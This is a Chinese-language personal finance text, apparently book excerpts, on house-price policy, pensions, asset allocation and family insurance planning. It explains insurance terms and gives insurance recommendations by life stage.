　　如果说个人理财最直接的是追求个人财富的最大化，那么国家的宏观经济政策（属于国家理财的范畴）就应该追求国家财富的最大化。国家的资产主要由企业资产、房地产资产和人力资源资产三部分构成。国家应该追求的是这三部分之和的最大化而不应该单纯追求房产资产最大化。太高的房产成本不仅挤压了人力资源的收入，也降低了企业资产的收益，从而，使得国家的财富总值并非最大化。所以，房产过热对国家经济不利，应该调控。如果单从控制房价的角度，从前面的资产定价模型来看，大幅升息是最有效的办法，但实行起来利率的变动牵涉面太广，切不可随意实行。现在政府调控房价主要采用的是增加税收的办法，这也有问题。首先，增加税收是否能够将房价降下来尚不确定；其次，就算能够降下来，我看也不一定是好事。因为这样让房价降下来，并没有降低使用房产的成本，反而是增加了。而这增加的成本当然最后都是由房产使用者承担，因此增加税收不会增加反而是进一步减少了人力资源资产和企业资产的价值，这将导致国家总体资产价值全面下降。

　　其实，从国家财富最大化的角度来说，增加土地供应才是调控房价的最佳手段。增加房地产的供应能够有效地降低使用房产的成本，从而可以使国家的人力资源和企业资产的价值都获得大幅提升，进而实现各方多赢的局面。

　　经济危机的发生是由经济自身惯性所导致的经济结构的失衡和过剩引发的。经济危机的过程其实是经济自我调节其内在失衡的过程。如果一定不让这样的自我调节发生，就会让经济丧失自我调节的功能而使经济的失衡变本加厉，最终只能导致经济出现更大的危机。就像大坝内的水多了就要打开泄洪口让水流出去一些那样，如果不泄掉一部分水，最终的结果一定是大坝的整体崩溃。

　　2013 年以来，养老问题成为社会共同关心的话题。中国生育高峰期的人群开始进入退休的年龄，养老压力骤增，而且会持续增加。所以，可以肯定的是，我们拿退休金的年龄将会不断推后。我甚至跟 80 后的人说，你们在 70 岁之前是不要指望拿到退休金的，为自己的退休生活提前做好准备吧，不要指望养老金了。

　　在个人理财中，我们非常强调资产配置，因为通过科学合理的资产配置可以有效控制家庭整体资产组合的风险。在资产组合中，有一些资产的风险和收益是相互对冲的。比如房屋遭受火灾时，购买的火险就派上了用场。家庭主要人力资产（家庭主要收入来源者）与其健康险和寿险就形成了风险的相互抵消，稳定了整个资产组合的风险。将资产分布于补偿形式的资产，使之抵消我们可能遇到的某种风险，我们称之为对冲。保险合约便是明显的对冲工具。在很多情况下，金融市场提供类似的对冲。例如，一个人拥有一个中国航空公司的股票，那么就存在一个石油价格的上升或人民币贬值给其资产带来的风险。如果其同时拥有一个海外石油公司的股票就可以有效地对冲该风险。

　　需要注意的是，分散风险并不是简单地把资金放到不同的产品上。我曾经见过一个在股市上仅有 5 万元的投资者购买了 11 只股票，问其原因，她说是要分散风险。这的确分散了一点风险，但只分散了一点不重要的风险（个股的业务风险），更大的配置的风险（股票市场的系统风险）并没有分散。

　　的确，对普通投资者来说，当涉及投资分散化的问题时，很少能有一个全局的观点。他们把购买不同的股票或投在股票、债券、现金以及其他资产的投资看作分散投资了。事实上，证券的分散只是整个分散化资产组合的一部分。

　　作为下一代，你们应该看到，父母的责任只是把你养到 18 岁。现在他们把你供到了大学毕业，到了该反哺父母的时候了。至少，当你占用父母的资源去消费的时候，想想父母的消费水平达到了你现在的消费水平了吗？当你伸手向父母要钱买新房的时候，想想父母现在的居住条件改善了吗？当你仅仅因为工作稍不如意就待在家里要父母养的时候，看看你们已经操劳一生的父母是否也可以待在家里颐养天年了？如果你的父母的生活水平和生命状态都很好，他们给予已经成人的你一定的财务支持并不困难也不为难，那么从父母那里获得一些财务支持也无可厚非。但即使如此，我还是建议年轻人在确实需要向父母寻求财务支持的时候，也不要认为理所当然，而是最好用向父母借贷的方式，并在你们有能力的时候尽快归还。这不仅是为了尊重父母、爱护父母，也是让自己成为一个有担当、有责任的人必须走过的道路。

一小时搞定全家保险

主要概念

主险和附加险

　　当消费者审视保单合同的时候，会发现不是所有的保险条款可以单独成为一个合同，而那些可以单独成为一个合同的，是可以单独购买的，被称为主险。那些只能和主险在一个合同上体现，却不能自己单独成立一个合同的，都是附加险。

　　当主险和附加险在一个合同上的时候，所有保险公司的惯例是把主险放在第一条展示的位置，下面再逐条展示附加险。

　　保险的组合一般是不同的主险附加各种特殊的附加险，共同组合成符合消费者需求的保险组合。

现金价值

　　现金价值是指保险单的退保金额，就是在不同年度要求退保（也叫解约），能够得到的现金金额。在保险期限较长（一年以上）的人身保险合同中，现金价值表一般都列在保单正本合同较前几页中，便于消费者随时查询。

　　这个金额帮助消费者判断自己的保单在某个年度的价值，也是当消费者用保单贷款时参考最高额度的重要依据。

　　不过，一份保单未来的现金价值可能不是从投保时就确定的。如果是没有分红、万能结算利率（没有投资连结收益）的长期传统保险产品，现金价值是从投保时就确定的。但是，有了上面那些产品的浮动收益（有些分红保险产品可以选择把每年的分红交清增额，以提高保额和现金价值），保单的现金价值就不是确定而是浮动的了。

交清增额和减额交清

　　对“交清增额”和“减额交清”这两个概念，估计不少消费者会感到迷茫。其实想弄清楚这两个概念特别简单，虽然都有“交清”这个词，但是重点是一个是“增额”，一个是“减额”。

　　交清增额：所谓“增额”，是针对分红保险产品的。它是指把每年的分红再次“买”成保险的保额，所以分红都“交清”了，交进保险里了，将来不会再单独领取分红的红利了。不过这些分红并没有浪费，只是都变成保障了，将来退保的时候会因为保额增加而提高现金价值。

　　减额交清：消费者出于某种原因想停止正在每年缴纳的保费，但是又不想直接退保，想对已经交费的这些年保留一部分保障，就可以提出减额交清。减额交清要求保险公司经过计算（参考届时已形成的现金价值），给出一个到此为止不再交费但仍旧有效的保额，不过，这个保额肯定比原先持续交费二三十年的保额低，所以叫“减额”，但是按照这个新的保额，就不用再交费了，所以称为“交清”。

　　要注意，这跟“减保”不是一回事。

减保、加保

　　“减保”主要是指降低已经生效的保单上的部分条款的额度，剩余部分继续交费（如果把某个附加险彻底减掉，也叫附加险解约）。跟减额交清不同，消费者还是要对继续有效的保障持续交费。

　　“加保”听起来很简单，就是把保险的额度增加，不过一般有两种意思。一种是增加主险的保额，不过普通的传统险是做不到的，只有万能型、投资连结型的保险产品可以申请对主险加保，其他类型的保险（非分红传统保险、分红保险）想增加主险的额度，就只能再进行购买。另一种是增加附加险的额度，或者在主险上增加之前没有的附加险（加保附加险）；这个也好理解，就是觉得之前的附加险额度（或者档次）低了，消费者要求增加，或者加一个或几个觉得有必要的附加险，以提高保单整体功能的全面性。

保单贷款

　　前面的章节讲过利用保单贷款的两种方法，但是一般来说，行业里提到的“保单贷款”，特指用保单现金价值向保险公司申请保单贷款的功能。

　　消费者在这个功能上就用到了现金价值。有些保险公司允许消费者在保单现金价值 80% 的额度范围内进行贷款，无须审核，保单的保障功能和其他利益并不受影响，但是在发生赔付或者退保的时候，如果贷款金额还没有还，需要扣除相应的贷款金额和累计贷款利息。

交费期、宽限期、等待期

　　交费期比较好理解，就是交多少年。不过，如果不对有些保险产品的交费期做进一步的理解，在实际操作时可能会给消费者带来困惑。

　　比如，有些万能险的交费期会表述为“终身”“任意”，消费者都不太理解。通过咨询保险服务人员或者查询条款，一般在一定的交费期（比如十年）以上可以自由决定交费多少年。目前市场上几乎已经没有真正“终身”交费的保险产品了，毕竟活着就要一直交费，消费者很难接受。

　　宽限期是针对交费的，每年到了交费的日子，如果消费者没有交费，一般来说保险公司都会给一个交费的宽限时间，一般是 60 天。在 60 天之内交费，就算保单正常交费。如果在这个宽限期之内还未交下一期保费，就发生了风险，可要及时补上保费，才能正常理赔。

　　等待期，通俗的叫法是观察期，在投保生效之后并不是马上就可以理赔，有一定的时间要求。因为意外原因造成的风险是没有等待期的限制的，但是，如果因为疾病原因需要理赔，都是有这个等待期的。

　　一般来说，寿险和重疾保险的理赔等待期为 90 天或 180 天，但阅读了保险条款后发现各个公司的不同产品等待期是不一样的；而医疗费报销产品同理，意外原因的理赔是没有时间限制的，但是因为疾病需要报销，就需要在等待期之后发生，一般等待期是 30 天，具体内容建议消费者仔细看产品条款说明。

演示利率

　　前面讲解现金价值的时候说到，分红险、万能险、投资连结保险的现金价值不一定是固定的，因为这三种产品是有浮动“收益”的。如果分红险选择交清增额，分红是可以提高现金价值的（当然还有另外两种形式：累积生息、抵交保险费，后文会进行详述），万能险和投资连结保险的收益结算直接就可以改变保单现金价值。所以在保险的建议书上会在现金价值表中针对分红、万能（投资连结）进行利率的演示。要注意的是，这是演示，实际收益数字当然按照实际操作（取分红，或者部分领取万能和投资连结现金价值）时而定。

　　分红险每年公布一次分红，并计算在保单内；万能险是每月结算一次，计算在保单内；投资连结保险是每日公布保单内不同投资账户的单位价值，有点像公募基金公布基金单位价值。

　　为了能让消费者在购买之前大致了解保单的未来情况，所以建议书中对于波动的分红、万能结算、投资连结可能的产生价值波动都做了高、中、低的演示。

　　这里的演示一般都会明示高、中、低分别使用的参考利率，目前内地对于演示利率的高、中、低有明确的限制。首先要参考近期保险公司的实际收益历史，然后做出未来公司经营状况“较好、正常、较差”这三种可能收益演示。

　　只不过，万能险与分红险和投资连结险略有不同，因为内地的万能险都有最低保证利率，所以最低档的演示是按照条款中约定的最低保证利率来进行的。

累积生息、抵交保险费

　　前面讲到，分红险的分红可以选择“交清增额”，这是一种能够不断提高保额的做法，很值得提倡。另外还有两种方式可以选择。

　　累积生息：每年的分红自动计入保单累积生息，未来可以在任何一个时间选择部分或者全部取出使用，取出后不会影响后面继续的分红水平。

　　抵交保险费：每年的分红不进行累积也不用来增长保额，而是作为现金直接取出用来抵交下一年的保险费，一般是以取出到交费的银行账户的形式来实现的。这种方法对分红运用的意义最低，不太建议。

轻度重疾

　　轻度重疾，也叫“轻度重症”，有时候会俗称“轻症”“轻疾”，有些公司在产品条款中会定义为“第一类”或“第二类”重疾。

　　不管怎么称呼，都是相对“重大疾病”而言的，也就是没有重大疾病那么严重的后果，但是同样对消费者的健康和持续的工作能力有较大的伤害。

　　目前银保监会还没有对轻度重疾有明确的定义，但是轻度重疾主要是针对恶性肿瘤、心脑血管的初级或较轻症状（比如原位癌、轻度脑损伤、轻度颅脑手术、脑垂体瘤、脑动脉瘤、脑血管瘤、早期原发心肌病、冠状动脉狭窄，不足重疾程度的介入手术、心脏瓣膜介入手术、心包膜切除术、心脏起搏器植入），一些非恶性的但是明显影响健康的症状（比如主动脉内非开胸手术、严重听力受损、视力受损、语言能力障碍、单个肢体缺失、较少面积烧伤、早期肝硬化、单侧肾脏切除，等等）。

　　有些保险公司进行了明确的分类：与恶性肿瘤相关、与心脑血管相关、与器官功能受损有关、与神经系统相关。

　　这些保障各有用处，笔者个人认为在保费预算充足的情况下，显然会比单一的重大疾病保障范围更广，赔付的概率更高，这也就感觉“保险更有用”。

　　同时，很多保险公司都针对轻度重疾设计了相关的豁免功能，更能够保证轻度重疾风险发生时消费者的权益。

　　近些年来，有些保险公司还设计了“中度重疾”的定义，目的是设定一些介于“重疾”和“轻疾”中间的疾病，不过其部分定义往往与其他产品中的轻疾定义有所重合，相信未来也会逐步统一规范。

豁免条款

　　既然提到了轻度重疾豁免，那么就全面地讲解一下各种豁免条款。

　　豁免：指在保险的交费期内，被保人达到某些特定的风险赔付标准（比如身故、全残、重大疾病、特定疾病、轻度重疾等），经过申请（与理赔申请同理），如果还有未完成的保单缴费年期，可以不再缴纳后续保费，保险合同仍然有效。

　　这里要注明一下，有些豁免条款是针对投保人的，但是在条款中也会称之为被保人。要知道，每个条款都是针对被保人的赔付说明，只不过此时的投保人是作为这个单一条款的被保人。

　　在实际保险组合中，可以同时出现多种豁免条款的组合。这时，别以为是重复了，那是针对不同风险的豁免，发生其中任意一个都可以申请该条款的赔付；这个赔付如果不是现金，那么就豁免后续保费。

多次赔付

　　有些重大疾病的保险产品中有多次赔付的设计，顾名思义就是可以不仅仅赔付一次，不过，这类多次赔付也分为不同的两类。

　　一类是针对不同疾病的多次赔付，即发生了某种重大疾病或者轻度重疾之后，未来可以再进行其他重大疾病或者轻度重疾的赔付，不过一般都会设置一定的时间间隔，尤其是重大疾病，并不是没有时间间隔的多次赔付；同时，也有对重大疾病进行分类，限制多次赔付，就是把重大疾病分成几组，赔付其中一组中的一种时，该组中的其他重大疾病不能再次赔付，但仍能对剩余几组中的其他重大疾病给予多次赔付。

　　还有一类是针对同一种疾病的多次赔付，目前主要是针对恶性肿瘤这类高发且治疗期较长的疾病设计的。当然也会有间隔时间的要求，只不过各个公司对恶性肿瘤的第二次或者第三次赔付有些许不同。有的公司对第二次或第三次的恶性肿瘤新增、复发、转移进行赔付有保额比例上的控制，不是百分之百的保额赔付。比如，第一次恶性肿瘤是赔付 100 万元，第二次或者第三次如果满足了赔付条件，是赔付 80 万元。

特定疾病

　　有些重大疾病产品会约定特定疾病的定义，比如“少儿特定重疾”，用来提供特定疾病发生时的加倍赔付或者额外赔付及豁免。比如，重大疾病定义中已有恶性肿瘤的赔付，少儿特定重疾中有白血病的定义，那么发生白血病的时候，被保人可以得到重大疾病中恶性肿瘤和特定疾病中白血病的叠加赔付（白血病也属于恶性肿瘤），提高了特定疾病的赔付保额。

　　也有些产品把特定重疾设计为可选的附加险，由保险消费者自行选择是否增加在自己的重疾产品组合中，这样也能产生对特定重疾的加倍赔付；如果发生特定重疾之外的其他重疾赔付，有些产品还可以继续保留特定重疾的保障功能。

保全事项

　　消费者有时候不明白，保险行业中的“保全”是什么意思，这跟其他领域里的“财产保全”等概念不一样。

　　保险行业里的保全是指针对已经生效的保单做一些变更。比如变更地址、交费账号，甚至保单贷款、领取累积红利、领取累积生存金，部分领取万能险的保单价值，这些使保单有所变化的都可以称为保全业务。

　　保险公司有专门的部门叫保全部门，专门提供这一系列服务。

资产申报

　　其实，资产申报并非与保险本身无关，但是却经常有消费者询问。

　　担任某些职位的消费者应国家要求进行资产申报，其中有一页表格要求填写本人和配偶及未独立生活的子女名下购买的保单，一般都会注明只要申报有投资性质（含分红、万能收益等）的保险产品即可。

　　但是，从我们协助的大量申报过程来看，还是告知所有高于一年交费期的保险产品比较好，以避免不必要的问询和误解。这一点对于需要资产申报的消费者来说要特别注意；子女如果还没有成家，即使二三十岁独立生活了，其名下的高于一年交费期的保险最好也都申报，对大家没有坏处只有好处。

风险：买对保险要先认识风险

　　这一节就讲讲如何更聪明地购买保险。

　　笔者仔细分析过上万个家庭的保险组合，发现多数家庭钱没少花，却花得不够聪明。要想把好钢用在刀刃上，就需要先认清何为风险，再依据风险合理设计保险组合。这里给出两个实用的要点。

　　第一，并非发生概率高的风险，就是优先花钱处理的风险。

　　大多数人买保险都是因为担心发生高概率风险，所以经常会有年轻人来咨询如何为高龄长辈投保。这个想法没错，年龄大，疾病、身故、意外的发生概率变高，但是这并不一定是最需要优先处理的风险。

　　我们说某个事件有风险，意思是说这件事有不确定性，不知道结果是好是坏。而结果坏到什么程度，才是风险大小的重要参考指标。如果这个坏结果产生的影响是可以忽略不计的，就可以不投保，优先去处理后果更严重的风险。

　　举一个例子，手机碎屏险。手机碎屏这个风险发生的概率确实高，但是没有保险，自己解决起来也不是大问题——修理费不会导致我们头疼。所以它显然不是家庭需要优先选择的保险产品。反之，如果有个风险导致的后果可能会让我们头疼不已，是我们不想面对或者无法承受的，假如有保险可以分忧，何乐而不为呢？

　　再举例一个很常见的险种，就是大家都熟知的车险中的车辆损失险。有些人说，自己开车多年，顶多发生刮擦事件，不会撞车；另外一方面也觉得，反正最严重就是自己的车撞坏了自己修，车都买了，还能修不起吗，于是就放弃投保。这个想法是否聪明呢？

　　这里就涉及第二个要点：风险本身不是风险，风险导致的严重后果才是风险。

　　笔者认为，大家应该关注的不是修车的费用，而是这笔费用可能引发的更严重的后果。消费者买车一定是按计划行事，谁都不会在手头缺钱的时候买车，但车辆撞损却不是一个可以预料的事件。假设你的车被撞损，需要花钱购买一辆新车。这种事故发生在不同年份，花这笔钱对你来说意义是不一样的。

　　如果你有一个 8 年换车计划，如果是在第 7 年发生事故，那么提前 1 年换车也无大碍。但如果在第一年就又需要掏出一笔钱买车，想必对一个刚刚购置新车的人来说是有压力的。所以，没有车辆损失险而发生车辆撞损的最严重情况，不是掏一笔钱买新的，而是在不适合的时间掏这笔钱。那么什么样的人可以不投保车辆损失险呢？显然是那些任何时候都可以随时掏钱购买一辆新车而不会产生任何财务压力的人。

　　笔者的建议是，先准确地判断风险带来的后果有多严重，再考虑这种风险是否值得我们优先花钱购买保险。

　　本节所讲的两个要点会一直贯彻在后文更详细的保险规划讲解中，各位读者可以根据这样的原则，优先解决会造成严重后果的风险。

不同阶段交不同的“保护费”

　　如前文所述，一个人的保障需求随着年龄增长会发生变化。本节就以刚刚参加工作的单身年轻人为例，讲讲一个人在生命周期的不同阶段中应当如何科学地规划保费和保额。

　　在金融服务领域，生命周期这个理论应用得非常广泛。它并不是完全按照生理或者心理成熟的过程细分，而是按照从“开始产生经济收入”到“承担家庭经济责任结束”的过程进行细分。笔者在保险规划中把这个过程分为以下几个阶段：单身期、家庭初期、家庭中期、家庭发展后期。

　　处于单身期的人开始有工作收入，但是尚未成家，以个人消费为主，储蓄能力和投资能力较弱，身体较为健康，对日常生活和工作都投入较大精力，积极为未来的家庭组建做准备。他们因为人生经验不足，加上正是熬夜写报告、陪客户喝酒到天亮都不含糊的工作状态和超负荷的身体状态，一般都不太重视保险。

　　但是，这个阶段的人抵御风险的能力很弱，没有储蓄，又不能停止支出，所以社保之外的商业保险是必然需要补充的。同时，他们年纪轻，购买保险便宜；身体健康，承保容易。

　　这类消费者，首先应增加公费、自费均报销的住院保险，行业内通称其为百万医疗产品，它可以直接降低年轻人面对天价医疗费的压力。

　　虽然年轻人的患病概率不高，但是天天跑来跑去，加上出差，意外风险大。而意外住院产生的高额费用，如果有社保报销不了的自费支出，就可以靠这类保险来解决。这种保险现在很普遍，在很多手机软件上都可以看到购买的渠道。20—28 岁的保费大约为两三百元，即使是没有社保的年轻人，只要支付 400—600 元的保费，就能够获得高达三四百万元的内地公立二级以上医院（含 ICU）的住院费用报销上限。一般来说，恶性肿瘤还会加倍报销上限。这个钱还是值得支出的，至少能让大家在面对天价医疗费的时候，坦然地选择合理的医疗方案，不会因为高额的医疗费用连累父母。

　　其次，增加意外残疾及身故赔付保险。有些消费型的意外险额度为 100 万，一年的保费不到 600 元，年轻人可以支付得起。而且，这类保险针对乘坐营运公共交通工具（如飞机、火车、轮船、动车、出租车）可以加倍赔付，出差坐飞机比较多的年轻人还可以专门购买全年的航空意外保险。

　　最后，不管年轻人的发病概率有多低，还是要考虑购买重疾保险。年轻的消费者可以根据自身的经济实力来决定购买便宜的消费型一年期重疾，还是较贵的长期甚至终身重疾保险。如果年轻人的财务结余控制得不错，或者父母财务状况较为宽松可以给予支持，笔者建议购买一定额度的长期或终身重疾保险。原因一方面是消费型的一年期保险不承诺永远可以续保，一般五六十岁就终止投保了；如果购买的一年期重疾保险退出市场了，就只能购买新的重疾保险。而那时候被保险人如果在工作或生活中过度透支健康，可能已不具备健康的身体指标，未必能投保成功。近年来，笔者在实际工作中已经明显感到 30 岁左右的投保人群的身体状况远远不如十几年前的这个年龄的人，所以为了能够拥有一个长期稳定的重疾保险，还是建议年轻人尽早购买这类保险产品。另一方面，年轻人购买长期或终身重疾保险要比中年人便宜很多，同样 30 万或者 50 万保额的重疾保险，20 多岁的年轻人大概只需 40 多岁的中年人的一半价格，提前 20 年缴费既可以提前 20 年拥有保障，支付的总金额也便宜一半，岂不乐哉？

　　如果年轻人的财务结余状况不好，父母也没有余力帮助年轻人缴纳保险费用，可以购买便宜的消费型一年期重疾保险，组合较低额度的长期终身重疾保险，或者全部使用消费型的产品降低整体的保费支出。

　　市场上有很多消费型重疾产品，20 多岁时可以用 1000 元购买到 50 万额度的重疾保险产品，对于年轻人来说是非常合适的，只不过，不要一直依赖消费型一年期重疾产品，毕竟这类产品不能保证持续保障终身。即使极个别的消费型重疾产品有 60 岁以上的缴费续保的许可，但计算后会发现，购买这类消费型保险产品，从 20 岁交到 80 岁的总缴费比从 20 岁开始投保同样额度的长期或终身重疾保险，缴费 20 年的总缴费还要高。长期终身产品缴费只需要 20 年或者 30 年，保障持续有效；而可消费型的一年期重疾保险一旦停止缴费，保障也就停止了。所以，还是要根据年轻人的实际财务状况来选择重疾产品。

　　同时，年轻人因为还有很长的工作时间，收入上升的空间更大，笔者更建议年轻人在有储蓄的情况下，提高在投资上的费用支出。财富增长主要由两个方面构成，一方面是劳动收入，一方面是非劳动型的投资性收入，这两个方面都可以加以投资。

　　年轻人收入不高，跟工作经验、学历、业务能力都有关系。除了多投入、多思考、多尝试以提高工作能力，对专项工作能力进行自我学习和培训很重要，自己越早建立起工作的知识体系，就能越早地展现天赋和潜力，所以，年轻人应该多节约出一些费用用于自身的培训和成长。

　　另外，笔者不建议年轻人规划过多收益较为稳定的储蓄类产品。不追逐风险就难以获得较大的收益，除非一生都不打算接触带有波动风险的投资，不然还是应该尽早学习波动投资的工具。年轻人学习能力强，即使暂时亏损，在未来也有足够收入补充。所以，年轻人可以节约一些保费开支，尝试各种投资手段，但也要使用正确的方法，切勿集中投资一类风险波动模式产品，导致全军覆没。

　　关于家庭初期、家庭中期、家庭发展后期的保险规划关注的人应该会更多，后文笔者会进行针对性的讲解。

刚工作的单身一族怎么买保险？

　　这个话题在前面第一篇的第三章中已经举例提及，在这里（图 4-1）总结一下重点：

　　图 4-1：单身期保险规划图示

　　其中“高额医疗费用保险”的目的是针对公立二级以上医院的住院费用进行报销，这类百万医疗产品有很多都可以实现数百万元的报销上限额度，不分公费或自费，也不分意外还是疾病住院，是单身期的首选。

　　“高额意外残疾/身故保险”尽可能多买，因为一旦终身残疾或者意外身故，对年轻人和父母的伤害大到无法估量。毕竟，年轻人残疾之后还有漫漫人生路要走，即便是“白发人送黑发人”也同样需要巨额资金的安抚，这个赔付额度不用跟收入做比例参考，可以选择一些百万级别仅五六百元的产品，尽量多选几份提高安全感。

　　“重疾赔付”是一个比较特殊的重点，既需要考虑费用和额度的平衡，又要尽可能保证续保无忧，这就与医疗报销保险和意外险不一样。意外险一般选一年期消费型的，即使中间换产品，对身体健康要求也不高，投保新产品的成功率很高；虽然医疗报销保险也是一年期消费型的，但是近些年各个保险公司都想保留医疗报销市场的客户，所以产品退市的概率不高，只要持续在一个百万医疗保险缴费，基本都不会因为保障期间的赔付、健康变化而影响续保，一直保个几十年问题也不大。但是重疾保障如果选择一年期消费型的，一旦产品退市，不得不买别的重疾产品，那个时候重新告知健康状况可就不一定能够投保成功了。

　　现在年轻人的生活压力很大，身体健康状况普遍不理想。工作压力大，频繁加班熬夜，加上大家吃得都太好，“三高”（高血压、高血糖、高血脂）很普遍。再加上高额房贷、独立创业的各种潜在心理压力，年轻人越来越难身心健康。

　　消费型重疾保险的价格在消费者年轻时非常便宜，但随着年龄增长会迅速变高。五六十岁的人可购买的消费型重疾保险本就不多，买到了也不便宜，所以还是建议单身期年轻人根据自己结余状况，尽量留些保费购买长期终身重疾保险。因为二三十年缴费的总额度其实比同额度的消费型重疾险一直续到七八十岁要便宜。

　　一般的选择是：买长期终身保险，或者少买些长期重疾保险的额度，组合一些消费型重疾保险，这样，不同重疾产品叠加赔付的额度超过自身三年以上的收入，这应该是单身期年轻人比较科学、人性化的重疾保险组合方式。

　　这里要注意，组合的重疾保额不宜低于三年收入，单身期年轻人没什么积蓄，收入一断，财务马上吃紧，因为重大疾病治疗康复期间无法维持收入，而总额度达到三年收入的重疾赔付，是为了给患病年轻人近似三年的收入，以无忧地渡过难关。

　　在长期终身重疾产品的选择方面，有几个小技巧可以控制保费。首先，可以在缴费模式方面选择更长的缴费期，虽然三十年缴费总额比二十年的要高，不过平均到每年就低了，这对于收入不断提高的年轻人来说是更为合算的。其次，选择产品时可以放弃一些内容，比如“轻度重疾”，如果单身期年轻人保费预算有限，就可以暂时放弃这个内容。毕竟，轻度重疾带来的医疗费支出风险可以通过高额医疗费用报销的保险解决，而康复期不长的“原位癌”“极早期恶性病”等风险对年轻人的收入影响也不大，数周或一两个月之后就可以恢复工作状态，都不是真正的风险，在这个阶段可以暂不考虑。

　　在身故受益人方面，单身期年轻人的家庭关系比较简单，放心不下的身后人主要就是父母，只要注明好父母的姓名、身份证号码等信息就可以了。

　　不过，网上购买的多数消费型重疾险或者意外险都是默认为法定身故受益人的，这一点需要注意。这可以避免网上购买保险过于方便，有人故意杀害被保人骗取赔款。不过可以在线下前往保险相应的服务机构进行身故受益人的更改指定，这个小技巧希望各位年轻人参考，在真的发生严重风险的时候，尽量为父母精简赔付证明手续。那个时候，长辈们已经极为悲痛了，就别折腾他们办理各种证明手续了，折腾的次数越多，等于刺激长辈们越深，还是指定清晰，一次性办理赔付比较好。

家庭发展中期的保险规划

　　前面章节讲解了单身期和家庭初期的保险规划，再进一步理解其他家庭阶段就更容易了。

　　家庭中期阶段压力最大，也是孩子从出生到完成教育的阶段。这个阶段中，家庭收入和负债同步上升，有可能出现第二个子女或者第二套房产等新的负债和投资，既是高收入阶段也是高支出或高负债阶段。

　　在这个阶段，家庭的主要风险如下：家庭收入结构基本稳定成形，一般会明确某一个家庭成员为主要收入来源，或者某一个人成为家庭整体收入的核心影响力（这种情形往往多见于家族企业结构）。以上这两种情况都具有一个重大风险，就是某一个人的生命或者收入能力出现问题将极大影响到家庭未来财富的变化趋势。很明显，这个阶段，主要人物对家庭更加重要。

　　家庭未来整体收入基本可以预期，在合理投资的同时也要面对主要人物逐步老去的客观事实，如果在此阶段错过养老储备的安排，后期养老金规划将面临更大的压力。

　　针对以上风险，笔者给出以下建议：

　　第一，此阶段的家庭财务规划较初始阶段更为复杂，不要简单随意地购买某项产品，而是要追求专业人士的服务，将家庭结构、收入支出结余数据、投资风险类型、负债和收入周期变化、身体健康和工作特有风险等多种因素结合考虑，兼顾多种产品、多种周期，留出可变的空间来制定家庭财务保险规划。

　　第二，要意识到家庭一切稳定发展的前提是收入稳定且呈上升趋势，要为收入能力较低的家庭成员考虑失去收入来源之后的生活。所以，收入中断风险是规划的核心。

　　当家庭收入来自主要人物的收入时，要为主要人物未来的收入做风险对冲，风险主要来自身故、重疾、意外残疾这三个因素。而家庭初期所设计的保额显然不匹配这个阶段的需求，这就需要在对已有保险回顾整理的前提下，用未来家庭总支出需求加上负债，减去已有的身故、重疾、意外残疾保额，减去预计的家庭投资收入，得到这个主要人物需要的保额，以确保未来家庭财务目标的稳定实现。

　　这个保额算出来往往是一个巨大的数字。举个例子，按照上面说的：一个家庭每年的支出为 30 万元，主要人物现在 35 岁，一年的收入是 50 万元，家庭投资收入每年有 10 万元收益。公司给主要人物 80 万元的身故保险，100 万元的意外保险。家庭还有房贷 200 万元。

　　现在，主要人物是 35 岁的男性，到退休还有 25 年，要设计退休前的保险计划，粗算下来，25 年的家庭总支出为 30 万元×25=750 万元，加上负债 200 万元，就是 950 万元。减去 25 年的家庭投资收入 10 万元×25=250 万元，就是 950 万元-250 万元=700 万元——不要惊讶，这就是主要人物担负的经济责任，也是保险业常说的保险身价。即便日常支出包括了 200 万元的负债支出，这个保险的身价也不会低于 500 万元。大家知道，其实很多家庭实际的负债比例或者说生活中的支出比例更大。经常有年收入五六十万的人告诉笔者根本存不下钱来，这个问题在房价和生活成本、教育成本较高的城市中更加显著。

　　说回这个 700 万元的保险身价，是指主要人物作为被保人，在发生不同风险时，理应科学规划的经济补偿。

　　在身故方面，因为已经有了公司给的 80 万保额，而且意外保险，公司也购买了 100 万保额，所以，这位主要人物包括意外和疾病两种风险的总身故保额应该设计为 700 万元-100 万元-80 万元=520 万元。注意这些都是赔付型保险，不是报销型的。可以在主要人物发生重疾或意外身故的时候迅速产生一笔现金，平衡家庭整体收入的波动，稳定原有的收支平衡，体现了保险工具的根本作用：保险不会改变你的未来，但能让未来不被改变。

　　第三，要将保险规划和家庭财富的成长模式结合考虑。家庭的投资要尽可能和主要人物的风险隔离开来。

　　如果家庭收入来自主要人物创办的企业或家族企业，家庭的投资部分就不要再过多持有主要人物的企业股票或股权，以免一损俱损，这个道理可能一说就懂，但是现实中却常因为对自创企业充满信心或者其他不得不持股的原因，导致家庭财富过于在一个领域内集中。如果不能分散风险，就要做好风险隔离，安排高额身故保险作为突发事件的后备资金，而且，这类身故赔付的资金可以通过指定受益，而不属于遗产范围，能在特定时刻起到巨大作用。

　　如果家庭的投资中有较长周期的安排，要配比同周期的保障计划，防止投资周期中出现家庭成员重疾或者意外残疾的风险事件，最后急需用钱时，却因周期未到，导致撤资困难或者投资受损，这一点是很多家庭忽略的。

　　其实，利用高保额报销型的保险就可以降低突发情况造成的损失。关于百万医疗保险，前面章节已经有所介绍，就不赘述了，但是在这里配置还有更多的用意，就是降低中断投资时导致的风险。如果家庭财务状况较好，有足够的支付能力，无须购买百万医疗保险这类低保费产品，可以选择更高保费但是医疗服务和环境更好的医疗报销保险产品。

　　比如，很多家庭喜欢炒股，但股票在低点的时候，如果需要一大笔医疗费用支出，只能被迫低价卖掉股票，这样的损失可能比医疗费本身还要大。所以，投资跟保险是有关系的，特别是很多人投了较长周期的私募基金，更要处理好资金未回笼阶段的医疗费用开支问题。

　　第四，关于养老金的准备要结合投资现状和收入中断风险进行考量。

　　在家庭中期，一般都期待着奋斗到退休时刻，然而事实不一定如此，投资有可能不尽人意，记得那部励志电影《当幸福来敲门》吗？这个真实事件改编的电影里面有个细节大家应该关注到了。主人公用所有积蓄投资了一台高科技新型医疗设备，以为能大挣一笔，结果销量极差，导致财务破产，家庭解体。

　　这台设备就是“骨密度扫描仪”，电影中导致主人公倾家荡产的设备现在早就被大量普及，这说明并不是主人公投资眼光有多差，仅仅是因为时运不济，好东西的价值没有在他期望获利的投资周期中实现。同理，如果家庭中期过于高比例的投资，在退休时并未带来预期的丰厚回报，必然会使养老计划严重受挫。

　　家庭中期阶段当然要关注投资，因为老了之后投资风险更加难以估量，而且家庭中期阶段也是建立良好投资比例的绝佳时刻。

